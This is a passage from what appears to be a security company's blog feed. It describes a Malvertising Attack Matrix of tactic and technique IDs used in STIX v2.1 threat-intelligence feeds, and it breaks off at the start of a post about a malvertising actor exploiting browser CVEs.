lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Zirconium threat profile</figcaption></figure></div><p>Following the same standards as the MITRE ATT&amp;CK framework, each of the 70+ techniques of the Malvertising Attack Matrix has a page that includes a brief summary of the adversarial technique, procedure examples, and references.</p><p>Example of <strong>[C401]<a href="https://matrix.confiant.com/data/data400.html#401">By-pass Popup Blocker</a> </strong>Technique of the <strong>[C400] <a href="https://matrix.confiant.com/data/data400.html">Browser Exploitation</a> </strong>Tactic:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!nXI6!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed942ff4-6444-4efc-bbdc-0c5ba762b3ed_1000x460.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!nXI6!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed942ff4-6444-4efc-bbdc-0c5ba762b3ed_1000x460.png 424w, https://substackcdn.com/image/fetch/$s_!nXI6!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed942ff4-6444-4efc-bbdc-0c5ba762b3ed_1000x460.png 848w, https://substackcdn.com/image/fetch/$s_!nXI6!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed942ff4-6444-4efc-bbdc-0c5ba762b3ed_1000x460.png 1272w, https://substackcdn.com/image/fetch/$s_!nXI6!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed942ff4-6444-4efc-bbdc-0c5ba762b3ed_1000x460.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!nXI6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed942ff4-6444-4efc-bbdc-0c5ba762b3ed_1000x460.png" width="1000" height="460" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ed942ff4-6444-4efc-bbdc-0c5ba762b3ed_1000x460.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:460,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!nXI6!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed942ff4-6444-4efc-bbdc-0c5ba762b3ed_1000x460.png 424w, https://substackcdn.com/image/fetch/$s_!nXI6!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed942ff4-6444-4efc-bbdc-0c5ba762b3ed_1000x460.png 848w, https://substackcdn.com/image/fetch/$s_!nXI6!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed942ff4-6444-4efc-bbdc-0c5ba762b3ed_1000x460.png 1272w, https://substackcdn.com/image/fetch/$s_!nXI6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed942ff4-6444-4efc-bbdc-0c5ba762b3ed_1000x460.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">[C400] Browser Exploitation | [C401] By-pass Popup Blocker</figcaption></figure></div><p><strong>Notations and Identifiers</strong></p><p>Each tactic and technique have an ID. This ID is used in the contextualized information present in our STIX v2.1 feeds at different places:</p><ul><li><p>We use this ID in the field <strong>name </strong>of a STIX V2.1 <a href="https://docs.oasis-open.org/cti/stix/v2.1/cs01/stix-v2.1-cs01.html#_axjijf603msy">Attack-pattern</a> as following: <strong>[ID Tactic| ID Technique]</strong></p></li><li><p>We use this ID to access the webpages referenced in the STIX V2.1 <a href="https://docs.oasis-open.org/cti/stix/v2.1/cs01/stix-v2.1-cs01.html#_72bcfr3t79jx">External reference</a> field of a STIX v2.1 <a href="https://docs.oasis-open.org/cti/stix/v2.1/cs01/stix-v2.1-cs01.html#_axjijf603msy">Attack-pattern</a>, following this format: <a href="https://matrix.confiant.com/data/data400.html#401">https://matrix[.]confiant.com/data/data[ID Tactic].html#[ID Technique]</a></p></li></ul><p><strong>Example</strong></p><p>Below is our malvertising feed, representing a campaign (TI 950451017) we detected from a threat actor dubbed BRS.</p><p>We can see we have three Attack-patterns with references to the matrix for additional information, enabling threat intelligence to understand every attack and its full context:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!DgZ5!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23697b83-10b8-4ecf-ab09-3b884839045b_1250x664.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!DgZ5!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23697b83-10b8-4ecf-ab09-3b884839045b_1250x664.png 424w, https://substackcdn.com/image/fetch/$s_!DgZ5!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23697b83-10b8-4ecf-ab09-3b884839045b_1250x664.png 848w, https://substackcdn.com/image/fetch/$s_!DgZ5!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23697b83-10b8-4ecf-ab09-3b884839045b_1250x664.png 1272w, https://substackcdn.com/image/fetch/$s_!DgZ5!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23697b83-10b8-4ecf-ab09-3b884839045b_1250x664.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!DgZ5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23697b83-10b8-4ecf-ab09-3b884839045b_1250x664.png" width="1250" height="664" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/23697b83-10b8-4ecf-ab09-3b884839045b_1250x664.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:664,&quot;width&quot;:1250,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!DgZ5!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23697b83-10b8-4ecf-ab09-3b884839045b_1250x664.png 424w, https://substackcdn.com/image/fetch/$s_!DgZ5!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23697b83-10b8-4ecf-ab09-3b884839045b_1250x664.png 848w, https://substackcdn.com/image/fetch/$s_!DgZ5!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23697b83-10b8-4ecf-ab09-3b884839045b_1250x664.png 1272w, https://substackcdn.com/image/fetch/$s_!DgZ5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F23697b83-10b8-4ecf-ab09-3b884839045b_1250x664.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!UTcO!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa8c2218f-96a5-4d11-96c5-8af228fd2208_500x782.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!UTcO!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa8c2218f-96a5-4d11-96c5-8af228fd2208_500x782.png 424w, https://substackcdn.com/image/fetch/$s_!UTcO!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa8c2218f-96a5-4d11-96c5-8af228fd2208_500x782.png 848w, https://substackcdn.com/image/fetch/$s_!UTcO!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa8c2218f-96a5-4d11-96c5-8af228fd2208_500x782.png 1272w, https://substackcdn.com/image/fetch/$s_!UTcO!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa8c2218f-96a5-4d11-96c5-8af228fd2208_500x782.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!UTcO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa8c2218f-96a5-4d11-96c5-8af228fd2208_500x782.png" width="500" height="782" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a8c2218f-96a5-4d11-96c5-8af228fd2208_500x782.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:782,&quot;width&quot;:500,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!UTcO!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa8c2218f-96a5-4d11-96c5-8af228fd2208_500x782.png 424w, https://substackcdn.com/image/fetch/$s_!UTcO!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa8c2218f-96a5-4d11-96c5-8af228fd2208_500x782.png 848w, https://substackcdn.com/image/fetch/$s_!UTcO!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa8c2218f-96a5-4d11-96c5-8af228fd2208_500x782.png 1272w, https://substackcdn.com/image/fetch/$s_!UTcO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa8c2218f-96a5-4d11-96c5-8af228fd2208_500x782.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">STIXv2.1 Feed visualization of a BRS campaign TI 9504510174</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!DJwu!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc731d91-c0fd-403f-b945-dafc0d03812d_666x746.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!DJwu!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc731d91-c0fd-403f-b945-dafc0d03812d_666x746.png 424w, https://substackcdn.com/image/fetch/$s_!DJwu!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc731d91-c0fd-403f-b945-dafc0d03812d_666x746.png 848w, https://substackcdn.com/image/fetch/$s_!DJwu!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc731d91-c0fd-403f-b945-dafc0d03812d_666x746.png 1272w, https://substackcdn.com/image/fetch/$s_!DJwu!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc731d91-c0fd-403f-b945-dafc0d03812d_666x746.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!DJwu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc731d91-c0fd-403f-b945-dafc0d03812d_666x746.png" width="666" height="746" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/dc731d91-c0fd-403f-b945-dafc0d03812d_666x746.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:746,&quot;width&quot;:666,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!DJwu!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc731d91-c0fd-403f-b945-dafc0d03812d_666x746.png 424w, https://substackcdn.com/image/fetch/$s_!DJwu!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc731d91-c0fd-403f-b945-dafc0d03812d_666x746.png 848w, https://substackcdn.com/image/fetch/$s_!DJwu!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc731d91-c0fd-403f-b945-dafc0d03812d_666x746.png 1272w, https://substackcdn.com/image/fetch/$s_!DJwu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc731d91-c0fd-403f-b945-dafc0d03812d_666x746.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Every Attack-Pattern STIX v2.1 object has an External Reference field, holding a link to its definition in the Malvertising Attack Matrix.</p><blockquote><p>Note: To receive these Threat intelligence feeds, our TAXII server is hosted at <strong>taxii.confiant.com.</strong></p><p>Please reach out to us to access to our malvertising feeds at the following email : <strong>security@confiant.com</strong></p></blockquote><h3>Final Notes</h3><h4>Is Malvertising low risk?</h4><p>Malvertising is interchangeably used with Adware. Many security companies historically have classified Adware as low priority, low risk.</p><p>This is mainly due to PUA/PUP software that caused little to no harm to infected computers in the past.</p><p>But the truth is things have changed now, and threat actors see Malvertising as a potential new attack vector and foothold into Enterprise networks, who do not really include Malvertising into their threat model.</p><p>Adware has evolved since, and it is now weaponized with <a href="https://twitter.com/ConfiantIntel/status/1372903888186130434?s=20">backdoors</a>, along with <a href="https://www.confiant.com/resources/news/macos-users-targeted-with-new-tarmac-malware">Malware</a>, helping attackers establishing a foothold within Enterprise networks.</p><p><strong>Our Objective</strong></p><p>The objective of the Malvertising Attack Matrix isn&#8217;t just profiling threat actors using different techniques and tactics.</p><p>It is also a tool helping Enterprise security teams taking into account Malvertising hopefully incorporate it into their threat model. This matrix will hopefully provide enough knowledge to understand Malvertising and the risks encountered by Enterprises when targeted.</p><p>Finally, this matrix is a way to communicate actionable threat intelligence to entities that are outside of the ad tech world and we will extensively use it going forward in our reporting.</p>]]></content:encoded></item><item><title><![CDATA[Malvertising Threat Actor “Yosec” Exploits Browser Bugs To Push Malware (CVE-2021–1765, CVE-2021–30533)]]></title><description><![CDATA[Most threat actors that operate via ad tech have embraced an operational shift over the last 2 years, leaning heavily into cloaked clickbait and away from forced redirects and pop-ups.]]></description><link>https://blog.confiant.com/p/malvertising-threat-actor-yosec-exploits-browser-bugs-to-push-malware-cve-2021-1765-3040dd3c4af1</link><guid isPermaLink="false">https://blog.confiant.com/p/malvertising-threat-actor-yosec-exploits-browser-bugs-to-push-malware-cve-2021-1765-3040dd3c4af1</guid><dc:creator><![CDATA[Confiant]]></dc:creator><pubDate>Mon, 16 Aug 2021 19:03:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!WjWQ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0394331e-7632-4ac5-bddd-5928aa47f4c9_875x541.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!sgZT!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3421c52a-a469-4e0d-9c0f-7815e0cce3a2_640x298.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!sgZT!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3421c52a-a469-4e0d-9c0f-7815e0cce3a2_640x298.png 424w, https://substackcdn.com/image/fetch/$s_!sgZT!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3421c52a-a469-4e0d-9c0f-7815e0cce3a2_640x298.png 848w, https://substackcdn.com/image/fetch/$s_!sgZT!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3421c52a-a469-4e0d-9c0f-7815e0cce3a2_640x298.png 1272w, https://substackcdn.com/image/fetch/$s_!sgZT!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3421c52a-a469-4e0d-9c0f-7815e0cce3a2_640x298.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!sgZT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3421c52a-a469-4e0d-9c0f-7815e0cce3a2_640x298.png" width="640" height="298" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3421c52a-a469-4e0d-9c0f-7815e0cce3a2_640x298.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:298,&quot;width&quot;:640,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!sgZT!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3421c52a-a469-4e0d-9c0f-7815e0cce3a2_640x298.png 424w, https://substackcdn.com/image/fetch/$s_!sgZT!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3421c52a-a469-4e0d-9c0f-7815e0cce3a2_640x298.png 848w, https://substackcdn.com/image/fetch/$s_!sgZT!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3421c52a-a469-4e0d-9c0f-7815e0cce3a2_640x298.png 1272w, https://substackcdn.com/image/fetch/$s_!sgZT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3421c52a-a469-4e0d-9c0f-7815e0cce3a2_640x298.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Most threat actors that operate via ad tech have embraced an operational shift over the last 2 years, leaning heavily into cloaked 